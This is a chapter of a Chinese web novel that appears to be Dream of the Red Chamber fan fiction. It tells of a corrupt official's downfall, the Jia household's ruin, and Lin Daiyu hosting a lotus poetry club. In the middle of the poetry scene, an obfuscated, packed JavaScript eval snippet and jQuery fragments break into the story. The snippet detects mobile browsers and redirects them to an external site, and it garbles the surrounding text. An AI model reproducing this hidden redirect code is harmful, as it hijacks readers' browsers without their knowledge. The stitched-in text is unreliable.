默认冷灰
24号文字
方正启体

28.荷花诗社

作者:丞舛本书字数:K更新时间:
    陈启年府邸被抄有半月。


    顺天府、都察院、刑部三司会审,从那座三进大宅里抄出金银珠宝、古玩字画、田产地契,足足装了三十大车,价值近百万两。


    陈启年在狱中熬了十余日,终是熬不住,将这些年贪墨的事一五一十全招了,供状写了厚厚一摞,牵涉官员六十余人,地方富商三十余户。


    圣上震怒,连下旨意,以陈启年为首官员斩立决,家产充公,家眷流放三千里,涉案官员三品以上革职查办,三品以下就地罢免。


    一时间,朝堂上下风声鹤唳,人人自危。


    王子腾却一反常态地配合起来,京营那边,主动交出了历年账册,还上了道折子,自陈治军不严,请求圣上责罚。


    圣上只批了“知道了”三字,这让王子腾心里发毛。


    贾府那边更是鸡飞狗跳,贾政的请罪折子递上去,圣上批了“革职留用,罚俸三年”。


    官是保住了,可这些年贪的银子要一文不少地吐出来,王夫人将自己的嫁妆、体己都拿了出来,又让王熙凤将府中能变卖的都变卖了,才凑齐了数。


    银子是凑齐了,贾府也空了,往日门庭若市的荣国府如今门可罗雀,比先前更加清净,那些往日巴结的,如今都躲得远远的,生怕沾上晦气。


    贾母气得病了一场,如今虽好了,精神却大不如前,这日午后她靠在榻上,对王夫人叹道:“咱们家,怎么就落到这步田地了?”


    王夫人垂泪:“是媳妇无能,没管好这个家。”


    “不怪你,”贾母摇头,“是政儿糊涂,太贪心了。”又问,“林家那边可有消息?”


    王夫人脸色一白:“母亲,还提林家做什么?如今咱们与林家,已是……”


    “我知道。”贾母闭眼,“我只是想,玉儿那孩子怕是恨透咱们了。”


    王夫人不语,恨?那是自然的,那般逼婚,那般羞辱,换成谁不恨?


    “罢了,罢了,”贾母摆摆手,“日后莫要再提林家了,咱们高攀不起。”


    林家这边,却是另一番光景。


    自那日面圣后,圣上对林如海愈发倚重,户部的事几乎全交给他处置,也没让新官继任尚书。


    林如海也不负圣望,将户部上下整顿得井井有条,那些陈年积弊,一件件理清,不过月余户部风气为之一新。


    长生在国子监也有了声望,他年纪虽小学问扎实,待人也谦和,那些清流子弟都愿意与他结交,便是勋贵家的子弟,见他也不似从前那般轻慢,谁不知道林如海如今是圣上跟前红人。


    林长生交友不拘束,不以清流自居,也不对勋贵子弟热络,平常神龙不见尾不知道在琢磨什么。


    这日散学,长生与陈景行,李煦等人一同出来,在监门口遇见了牛清。


    牛清见了他,迟疑片刻,还是上前道:“林公子。”


    长生还礼:“牛公子。”


    牛清低声道:“我姐姐前日递了帖子去府上,说是想拜访林姑娘,不知……”


    林长生不知姐姐打算,只得模棱两可回复:“家姐这几日不便见客,我们当弟弟的也不便干涉。”


    牛清脸色一黯,却仍道:“我明白了,只是我姐姐是真心对待林姑娘,这些日子茶饭不思的,人都瘦了一圈,林公子,可否通融一二?”


    长生看着牛清,这位镇国公府的少爷,从前何等嚣张,如今却为了姐姐如此心平气和放低姿态,这倒是好弟弟,只是以前不当人。


    “牛公子,”长生道,“儿女私交不受父辈影响,只是牛小姐与家姐交情理应由她们自己决断。”


    这话说得明白,女孩子之间的交情他人无需干涉,尤其是当弟弟的。


    牛清拱手道:“多谢林公子指点”


    正说着,那边传来一阵喧哗。


    几个勋贵子弟拥着一人过来,却是理国公府的柳湘莲,此人年方十七,生得俊美,最是风流不羁,他见了长生,笑道:“这位便是林公子?久仰久仰。”


    长生心生警惕,还礼:“柳公子。”


    柳湘莲打量他几眼,赞道:“果然一表人才,我听说林公子诗才了得,改日定要讨教一二。”


    “柳公子谬赞了。”


    “不是谬赞。”柳湘莲正色道,“我柳湘莲从不说虚话。林公子,今日得见,三生有幸,改日我做东,请公子吃酒,可好?”


    这话说得热情,可长生认为对方一直在挑衅自己,三生有幸?讨教一二?下战书?


    这柳湘莲是勋贵子弟,与清流素无往来,如今这般热情,怕是有别的用意。


    “柳公子客气了,只是长生年幼,不善饮酒,怕是要辜负公子美意了。”


    “无妨,无妨。”柳湘莲笑道,“不吃酒,吃茶也可。总之,这个朋友,我是交定了。”


    说罢,带着人扬长而去。


    陈景行低声道:“林兄,这位柳公子是京城有名的浪荡子,他这般热情,怕是要带坏你”


    长生点头:“我明白,多谢陈兄提醒。”


    回到林府,长生将今日之事说与父亲听,林如海道:“柳湘莲此人虽为勋贵子弟,却终日与那些纨绔为伍,平日也与些文人墨客往来,他与你结交,许是攀了这节骨眼上的风声。”


    “可如今这时局……”


    “这时局更要小心,”林如海道,“也不必拒人千里,假亦真时真亦假,你平常心待之便是。”


    “儿子明白了。”


    正说着,黛玉来了,见父亲与弟弟在说话,开门见山道:“父亲,女儿想办个诗社。”


    “诗社?”林如海挑眉,瞥了一眼林长生,林长生连忙摇摇头表示不是自己的注意。


    “是,”黛玉点头,“前日几个姐妹来,说起如今夏日正好,荷花盛开,不如办个诗社,赏荷作诗,也是雅事,女儿想着咱们家园子里那方荷塘,这几日花开得正好,便想邀几位姐妹来,办个荷花诗社。”


    林如海:“请哪些人?”


    “严姐姐,沈家两位姐妹和周家妹妹,还有王家的婉容姐姐以及孙家的若兰妹妹。”黛玉停顿片刻补充道,“还有牛家大小姐。”


    长生看向姐姐,没说话。


    黛玉轻声道:“牛小姐前日递了帖子来,说她新得了本宋版《花间集》想与女儿共赏,女儿想着,她既诚心,咱们也不必拒人千里,何况父辈是父辈,咱们是咱们。”


    林如海见她眼神清澈,神色坦然,心里松了口气,这孩子心性纯善,不会因为父辈矛盾而对朋友疏远,敢爱敢恨是好事。


    “既如此便依你,”林如海道,“莫要吃亏。”


    “女儿省得。”


    诗社定在六月初十,恰逢天朗气清,荷风送爽。


    林府园子里,那方荷塘花开正盛,粉的、白的、黄的,亭亭玉立。


    塘边搭了凉棚,摆了桌椅,桌上放着文房四宝,还有各色茶点。


    辰时末,客人们陆续到了,严素心最先来,携着妹妹严素月,接着是沈玉如、沈玉妍姐妹,周静姝,王婉容,孙若兰,最后到的,是牛萱。


    牛萱今日穿着藕荷色绣折枝梅的罗裙,发间簪着支点翠簪,打扮得比往日素净,她一见黛玉,便上前道:“林姑娘。”


    黛玉还礼:“牛小姐。”


    “姑娘唤我萱儿便好,”牛萱道,目光在黛玉脸上停了停,“姑娘今日气色好。”


    “牛小姐请坐。”


    牛萱听到这个称呼也不生气,自知关系也未到如此亲近,众人落座,紫鹃、香菱奉上茶点。


    黛玉笑道:“今日请各位来,是为赏荷作诗,咱们不拘什么题目,只以荷为意,或诗或词,或联句或绝句都使得,作得好的,我有彩头,作得不好的便罚她为大家烹茶,如何?”


    众人都笑:“这个罚得好。”


    于是抽签定次序。


    第一签是严素心,她略一沉吟,临危不乱,吟道:


    “绿盖亭亭映日开,红妆冉冉出波来。


    清香暗度知何处,一片冰心在玉台。”


    王婉容赞道,“严姐姐这诗清雅高洁,正合荷花品格。”


    严素心微笑:“王妹妹过奖了。”


    接着是沈玉如,她性子活泼,想了想便道:


    “水上新荷簇锦茵,风前嫩叶展青蘋。


    不知何处吹芦管,惊起沙鸥一片春。”


    沈玉妍拍手:“姐姐这诗灵动!”


    轮到沈玉妍自己,她早准备好诗作,道:


    “藕花深处泊轻舟,荷叶田田水国秋。


    欲采红芳寄远道,西风吹梦到南州。”


    孙若兰点头:“沈二妹妹这诗,有远意,西风吹梦到南州,余韵悠长。”


    周静姝年纪最小,怯生生道:“我……我作得不好。”


    黛玉温声道:“无妨,只管作来。”


    周静姝想了想,轻声道:


    “小荷才露尖尖角,早有蜻蜓立上头。”


    这是杨万里的诗,众人都笑:“周妹妹这是偷懒了。”


    周静姝红了脸:“我……我只会这个。”


    黛玉笑道:“虽是前人的诗,可用得应景,也算巧妙,便饶过你这一回。”


    轮到王婉容,她提笔蘸墨,在纸上写道:


    “水殿风来珠翠香,芙蓉泣露倚新妆。


    谁家玉笛暗飞声,散入东风满洛裳。”


    写罢,放下笔。


    严素心赞道:“王妹妹这诗,富丽堂皇,又有哀婉之致。芙蓉泣露倚新妆,这句尤其好。”


    孙若兰接道:“该我了。”她略一思索,吟道:


    “红蕖照水弄晴霞,翠盖摇风拂岸沙。


    莫道此中无俗客,清香原不借铅华。”


    “好!”牛萱先行开口,“孙姑娘这诗,最后两句尤佳,莫道此中无俗客,清香原不借铅华,是说荷花高洁不因观者俗雅而改其香,这立意比我们方才的都好。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17003699|192023||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    孙若兰没想到牛萱会赞她,毕竟她平常没少说牛萱坏话甚至还被当事人抓包过好几次,微怔后道:“牛小姐过奖了。”


    最后是牛萱,众人都看她,这位镇国公府的小姐,素来以才女自诩,不知今日能作出什么来。


    牛萱起身,走到塘边,望着满塘荷花,沉默良久,众人以为她作不出,正要打圆场,她这才开口:


    “碧波千顷晓烟收,玉井芙蓉一夜秋。


    月下独怜倾国色,风前谁解捧心愁。


    霓裳舞罢云屏冷,环佩归时露气浮。


    欲问仙家何处是,白鹭飞过洞庭洲。”


    她声音很好听,诵得婉转动人,诵罢,塘边一片寂静,众人都看向黛玉。


    半晌,严素心打破沉默,叹道:“牛小姐这诗气象宏大,用典精当,非我等能及。”


    王婉容也忙着圆场,道:“月下独怜倾国色,风前谁解捧心愁,这联对仗工整,意境幽深,确是佳作。”


    牛萱摇摇头,对众人道:“我这诗刻意求工,失了天然,自然比不得林姑娘的。”


    随即转身对黛玉深深一福,赧然道:“林姑娘,我这诗算不得数,只是今日见此景,闻此香,心中感怀,唯有此诗可表,姑娘莫怪。”


    林黛玉看着她,道:“诗以言志,歌以咏怀,牛小姐借诗抒己胸怀,有何不可?这诗,作得好。”


    牛萱低声道:“多谢姑娘。”


    黛玉不再接话,微笑道:“该我了。”她走到案前,提笔蘸墨,略一沉吟,写道:


    “一片笙歌水殿凉,藕花风起露华香。


    采莲归去双鬟湿,笑指鸳鸯睡满塘。”


    写罢,搁笔,众人围上来看,皆赞叹不已。


    “林妹妹这诗,清新自然,又有生趣,”严素心道,“采莲归去双鬟湿,笑指鸳鸯睡满塘,这画面,如在眼前,让人心生泛舟之趣。”


    孙若兰也道:“林姑娘这诗,不事雕琢,却韵味无穷。比我们那些刻意求工的,好多了。”


    牛萱看着那诗,又看看黛玉,坦然道,“林姑娘这诗,我比不上。”


    黛玉摇头:“诗无高下,只有合不合心,牛小姐的诗雄浑,我的诗清浅,各有千秋罢了。”


    牛萱看着她,道:“林姑娘,我能常来与你论诗么?”


    黛玉微怔,随即微笑:“自然可以,只是莫要太张扬,咱们清清静静地说话便好。”


    “好,好,”牛萱笑了,“我记下了。”


    众人又品评一番,便到了午时,黛玉让紫鹃摆上午饭,都是清淡雅致的菜式:荷叶粥、荷花糕、莲子羹、菱角炒虾仁,还有几样时鲜小菜。


    饭桌上气氛融洽,严素心与王婉容说些闺中趣事,沈家姐妹活泼不时说笑,周静姝虽羞怯,却也抿嘴笑。


    牛萱悄悄挪到黛玉旁乖巧坐着,话不多,只静静听着,偶尔插一句,却总能说到点子上。


    饭毕,众人又说了贴己话,方才散去,牛萱临走前恋恋不舍,对黛玉道:“林姑娘,改日我得了好诗,再来与你切磋。”


    “随时恭候。”


    送走客人,黛玉回到房中。


    香菱一边替她卸簪环,一边道:“姑娘,牛小姐今日倒是与往常不同。”


    “哦?哪里不同?”


    “从前她来,总是打扮得花枝招展,说话也带着傲气。可今日她穿得也体当,说话也谦和,看姑娘的眼神也是收敛了。”


    黛玉点头:“许是经了事,长大了。”


    “姑娘不怪她了?”


    “有什么可怪的?”黛玉笑道,“她从前那般骄矜是环境使然,如今她诚心对我,我又何必揪着不放?这世上,多个朋友,总比多个敌人好。”


    香菱似懂非懂地点点头。


    紫鹃在一旁跟着笑,道:“姑娘心善,牛小姐对姑娘真情实意那确实无话可说,但牛小姐到底是镇国公府的小姐,姑娘与她交往,还是小心些好,莫要吃亏。”


    “我知道。”黛玉道,“我有分寸。”


    正说着,长生来了,他今日在学里,未参加诗社,可回来听了禀报,便来问姐姐。


    “姐姐,今日诗社可还顺利?”


    “顺利。”黛玉将今日情形说了,末了道,“牛小姐今日确是真心待我。”


    长生讶然姐姐的态度,随即点头,:“姐姐既觉得她真心那便是真心,姐姐长情,万事还是要防着些,牛继宗是聪明人,他女儿与姐姐交好,他定是乐见的。”


    “我明白。”黛玉道,“我与牛小姐只论私交,不谈其他,更况且这一年以来她从未提及家中事。”


    “姐姐说得是。”长生不再劝说,父辈之间的矛盾冲突与两家儿女交情并不互通,无所谓利益之分,真真假假又何妨,倘若姐姐真能得知己,牛府怎样,王家又如何,姐姐的心思比他这个当弟弟的更澄澈,更格局。


    姐弟二人又说了会子话,长生方回房。


    窗外,月上中天。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)